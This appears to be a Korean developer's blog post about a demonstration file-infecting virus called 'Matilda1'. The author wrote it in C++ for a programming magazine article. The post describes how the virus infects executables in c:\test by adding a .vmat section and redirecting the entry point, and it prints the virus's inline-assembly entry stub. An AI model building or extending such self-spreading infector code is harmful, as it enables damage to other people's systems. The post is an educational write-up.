지난 주말에 마소 원고를 썼어야 했는데 소리통 기능 추가한다고 뻘짓좀 하고, K가 면접 있다고 올라와서 좀 놀아주고 하다보니 몇 페이지 쓰지도 못하는 초유의 사태가 발생했습니다. 원고 마감이 몇 일 남지도 않았기 때문입니다. 그래서 요 몇 일 좀 바빴습니다. 맨날 미루다가 된통 당했네용. ㅎㅎ
하여튼 그런 우여곡절 끝에 Matilda1 바이러스가 만들어졌습니다. ㅋㅋ 첨에 당연히 C++로 만들어야지 하고 만들기 시작했는데, 중간에 포기하고 어셈블리로 만들뻔 했습니다. 하지만 뛰어난 끈기와 투지로 함정을 헤쳐나가서 마침내 C++로 PE를 감염시키는 아주 정직한 바이러스를 만들었습니다.
어떤 바이러스인지 궁금하시죠? 감염된 파일을 실행하면 아래 화면처럼 마우스 포인터가 위치한 곳에 Matilda1이란 글자를 마구 씁니다. 증상은 그게 답니다. 프로그램 종료할 때까지 열심히 쓰죠. 증상은 그게 전부입니다. 뭔가 그럴싸한 증상을 만들고 싶었으나 마땅한게 없더군요. 근사한건 너무 길어서 ㅋㅋ
감염된 파일이 실행되면 c:\test 아래에 있는 실행 파일 중에 감염되지 않은 놈을 전염시킵니다. 전염 시킨 놈을 디버그 출력으로 찍어주죠. 아래는 그렇게 전염되는 것을 캡쳐한 화면 입니다.
아래는 Matilda1의 바이러스 코드 진입점입니다. 이 부분만 보고 이게 무슨 C++ 이냐고 하실 수도 있지만 나머지는 다 C++입니다. ㅋㅋ 물론 인라인 어셈블리가 종종 등장하긴 합니다.
\_\_declspec(naked) void Entry()
{
\_\_asm
{
jmp $start
\_emit 'M'
\_emit 'a'
\_emit 't'
\_emit 'i'
\_emit 'l'
\_emit 'd'
\_emit 'a'
\_emit '1'
$start:
mov eax, [esp]
push eax
call FindPEHeader
test eax, eax
jz $oep
push eax
call InitTrampolines
call Matilda1
$oep:
push OriginalEntry
ret
}
}
Matilda1에 감염되면 파일의 끝에 .vmat 섹션이 추가되고 엔트리 포인트가 바이러스 코드로 변경됩니다. 따라서 휴리스틱 기능을 사용하는 백신 엔진에는 바로 걸리겠죠. 결국 마소 12월호 광고 였습니다.
소리통에도 근사한 기능 추가가 임박했습니다. ShoutCAST 관련 버그 패치, UI 기능 추가, 환경 설정, 라디오 청취 기능이 추가될 계획입니다. ㅋㅋ